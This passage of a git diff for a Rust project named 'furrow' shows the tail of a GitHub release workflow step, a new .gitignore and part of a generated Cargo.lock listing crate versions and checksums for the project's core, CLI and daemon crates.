"$TAG" dist/* \ + --repo "$GITHUB_REPOSITORY" \ + --title "furrow $TAG" \ + --generate-notes \ + --verify-tag + fi diff --git a/engine/.gitignore b/engine/.gitignore new file mode 100644 index 0000000000..28be0d521d --- /dev/null +++ b/engine/.gitignore @@ -0,0 +1,4 @@ +/target/ +/.DS_Store +*.tmp + diff --git a/engine/Cargo.lock b/engine/Cargo.lock new file mode 100644 index 0000000000..f339c8c472 --- /dev/null +++ b/engine/Cargo.lock @@ -0,0 +1,1601 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "ahash" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" +dependencies = [ + "cfg-if", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "0.6.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43d5b281e737544384e969a5ccad3f1cdd24b48086a0fc1b2a5262a26b8f4f4a" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34ac096ce696dc2fcabef30516bb13c0a68a11d30131d3df6f04711467681b04" + +[[package]] +name = "arrayref" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76a2e8124351fda1ef8aaaa3bbd7ebbcb486bbcd4225aca0aa0d84bb2db8fecb" + +[[package]] +name = "arrayvec" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3fb67a6e08acf24fdeccbac2cb6ac4305825bd1f117462e0e6f2f193345ad56" + +[[package]] +name = "ascii" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d92bec98840b8f03a5ff5413de5293bfcd8bf96467cf5452609f939ec6f5de16" + +[[package]] +name = "assert_cmd" +version = "2.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc1835b7f27878de8525dc71410b5a31cdcc5f230aed5ba5df968e09c201b23d" +dependencies = [ + "anstyle", + "bstr", + "doc-comment", + "libc", + "predicates", + "predicates-core", + "predicates-tree", + "wait-timeout", +] + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4388bee8683e3d04af747c73422af53102d2bd24d9eadb6cbc100baef4b43f8" + +[[package]] +name = "blake3" +version = "1.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8ee0c1824c4dea5b5f81736aff91bae041d2c07ee1192bec91054e10e3e601e" +dependencies = [ + "arrayref", + "arrayvec", + "cc", + "cfg-if", + "constant_time_eq", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bstr" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63044e1ae8e69f3b5a92c736ca6269b8d12fa7efe39bf34ddb06d102cf0e2cab" +dependencies = [ + "memchr", + "regex-automata", + "serde", +] + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.2.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5d6cac793997bd970000024b2934968efe83b382de4fdcf4fcb46b6ee4ad996" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "chunked_transfer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e4de3bc4ea267985becf712dc6d9eed8b04c953b3fcfb339ebc87acd9804901" + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "clap" +version = "4.5.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "027bb0d98429ae334a8698531da7077bdf906419543a35a55c2cb1b66437d767" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5589e0cba072e0f3d23791efac0fd8627b49c829c196a492e88168e6a669d863" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.5.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf4ced95c6f4a675af3da73304b9ac4ed991640c36374e4b46795c49e17cf1ed" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3e64b0cc0439b12df2fa678eae89a1c56a529fd067a9115f7827f1fffd22b32" + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "constant_time_eq" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c74b8349d32d297c9134b8c88677813a227df8f779daa29bfc29c183fe3dca6" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "rand_core", + "typenum", +] + +[[package]] +name = "difflib" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "directories" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a49173b84e034382284f27f1af4dcbbd231ffa358c0fe316541a7337f376a35" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.48.0", +] + +[[package]] +name = "doc-comment" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "780955b8b195a21ab8e4ac6b60dd1dbdcec1dc6c51c0617964b08c81785e12c9" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fallible-iterator" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" + +[[package]] +name = "fallible-streaming-iterator" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a" + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + +[[package]] +name = "filetime" +version = "0.2.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35c0522e981e68cbfa8c3f978441a5f34b30b96e146b33cd3359176b50fe8586" +dependencies = [ + "cfg-if", + "libc", + "libredox", + "windows-sys 0.59.0", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "float-cmp" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b09cf3155332e944990140d967ff5eceb70df778b34f77d8075db46e4704e6d8" +dependencies = [ + "num-traits", +] + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fs2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9564fc758e15025b46aa6643b1b77d047d1a56a1aea6e01002ac0c7026876213" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "fsevent-sys" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2" +dependencies = [ + "libc", +] + +[[package]] +name = "furrow-cli" +version = "0.1.0" +dependencies = [ + "anyhow", + "assert_cmd", + "blake3", + "clap", + "filetime", + "furrow-core", + "furrow-daemon", + "hex", + "libc", + "predicates", + "rusqlite", + "serde", + "serde_json", + "tempfile", + "xattr", +] + +[[package]] +name = "furrow-core" +version = "0.1.0" +dependencies = [ + "anyhow", + "blake3", + "chacha20poly1305", + "clap", + "directories", + "filetime", + "fs2", + "getrandom", + "hex", + "libc", + "notify", + "rusqlite", + "rusty-s3", + "serde", + "serde_bytes", + "serde_json", + "sha2", + "tempfile", + "tiny_http", + "unicode-normalization", + "ureq", + "url", + "xattr", + "zeroize", +] + +[[package]] +name = "furrow-daemon" +version = "0.1.0" +dependencies = [ + "anyhow", + "blake3", + "fs2", + "furrow-core", + "hex", + "libc", + "serde", + "serde_json", + "tempfile", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashlink" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba4ff7128dee98c7dc9794b6a411377e1404dba1c97deb8d1a55297bd25d8af" +dependencies = [ + "hashbrown", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "http" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6970f50e31d6fc17d3fa27329444bfa74e196cf62e95052a3f6fee181dba6425" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "inotify" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdd168d97690d0b8c412d6b6c10360277f4d7ee495c5d0d5d5fe0854923255cc" +dependencies = [ + "bitflags 1.3.2", + "inotify-sys", + "libc", +] + +[[package]] +name = "inotify-sys" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c033f80b2c113cdf91ab7a33faa9cbc014726dcad99880c8609af2a370edf37d" +dependencies = [ + "libc", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "instant" +version = "0.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jiff" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be1f93b8b1eb69c77f24bbb0afdf66f54b632ee39af40ca21c4365a1d7347e49" +dependencies = [ + "jiff-static", + "log", + "portable-atomic", + "portable-atomic-util", + "serde", +] + +[[package]] +name = "jiff-static" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03343451ff899767262ec32146f6d559dd759fdadf42ff0e227c7c48f72594b4" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "kqueue" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "273c0752728918e0ac4976f2b275b6fefb9ecd400585dec929419f3844cd87b5" +dependencies = [ + "kqueue-sys", + "libc", +] + +[[package]] +name = "kqueue-sys" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07293a4e297ac234359b510362495713f75ea345d5307140414f20c69ffeb087" +dependencies = [ + "bitflags 2.13.0", + "libc", +] + +[[package]] +name = "libc" +version = "0.2.169" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a" + +[[package]] +name = "libredox" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c943259e342f1e06ff2da7a83eabdfe7f92ce10262688dbf1895ff0b3e6e4652" +dependencies = [ + "bitflags 2.13.0", + "libc", + "plain", + "redox_syscall", +] + +[[package]] +name = "libsqlite3-sys" +version = "0.30.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e99fb7a497b1e3339bc746195567ed8d3e24945ecd636e3619d20b9de9e9149" +dependencies = [ + "cc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "log" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "mio" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d83b0086dc8ecf3ce9ae2874b2d1290252e2a30720bea58a5c6639b0092873" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "normalize-line-endings" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be" + +[[package]] +name = "notify" +version = "7.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c533b4c39709f9ba5005d8002048266593c1cfaf3c5f0739d5b8ab0c6c504009" +dependencies = [ + "bitflags 2.13.0", + "filetime", + "fsevent-sys", + "inotify", + "kqueue", + "libc", + "log", + "mio", + "notify-types", + "walkdir", + "windows-sys 0.52.0", +] + +[[package]] +name = "notify-types" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "585d3cb5e12e01aed9e8a1f70d5c6b5e86fe2a6e48fc8cd0b3e0b8df6f6eb174" +dependencies = [ + "instant", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pkg-config" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "portable-atomic" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c33a9471896f1c69cecef8d20cbe2f7accd12527ce60845ff44c153bb2a21b49" + +[[package]] +name = "portable-atomic-util" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a106d1259c23fac8e543272398ae0e3c0b8d33c88ed73d0cc71b0f1d902618" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "predicates" +version = "3.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5d19ee57562043d37e82899fade9a22ebab7be9cef5026b07fda9cdd4293573" +dependencies = [ + "anstyle", + "difflib", + "float-cmp", + "normalize-line-endings", + "predicates-core", + "regex", +] + +[[package]] +name = "predicates-core" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cad38746f3166b4031b1a0d39ad9f954dd291e7854fcc0eed52ee41a0b50d144" + +[[package]] +name = "predicates-tree" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0de1b847b39c8131db0467e9df1ff60e6d0562ab8e9a16e568ad0fdb372e2f2" +dependencies = [ + "predicates-core", + "termtree", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfbc457d0c7a0759a614551b11a6409e5951f6c7537be1f1b7682b9ae9230368" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5102a6aaa05aa011a238e178e6bca86d2cb56fc9f586d37cb80f5bca6e07759" +dependencies = [ + "bitflags 2.13.0", +] + +[[package]] +name = "redox_users" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43" +dependencies = [ + "getrandom", + "libredox", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a0e75113e14dc5acb068cd0786884f214f1312650a3d36d269f5c4f3cdee8a2" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f388202e4b80542a0921078cc23b6333bcf1409c1e3f86404cae4766a6131db" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rusqlite" +version = "0.32.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7753b721174eb8ff87a9a0e799e2d7bc3749323e773db92e0984debb00019d6e" +dependencies = [ + "bitflags 2.13.0", + "fallible-iterator", + "fallible-streaming-iterator", + "hashlink", + "libsqlite3-sys", + "smallvec", +] + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags 2.13.0", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustls" +version = "0.23.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b92b125634d9b795e7beca796cc790df15a7fb38323bf3196fda83292d06b1f" +dependencies = [ + "log", + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "764899a24af3980067ee14bc143654f297b22eaebfe3c7b6b211920a5a59b046" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rusty-s3" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fac2edd2f0b56bd79a7343f49afc01c2d41010df480538a510e0abc56044f66c" +dependencies = [ + "hmac", + "jiff", + "percent-encoding", + "sha2", + "url", + "zeroize", +] + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "serde" +version = "1.0.217" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_bytes" +version = "0.11.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "387cc504cb06bb40a96c8e04e951fe01854cf6bc921053c954e4a606d9675c6a" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_derive" +version = "1.0.217" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.138" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d434192e7da787e94a6ea7e9670b26a036d0ca41e0b7efb2676dd32bae872949" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 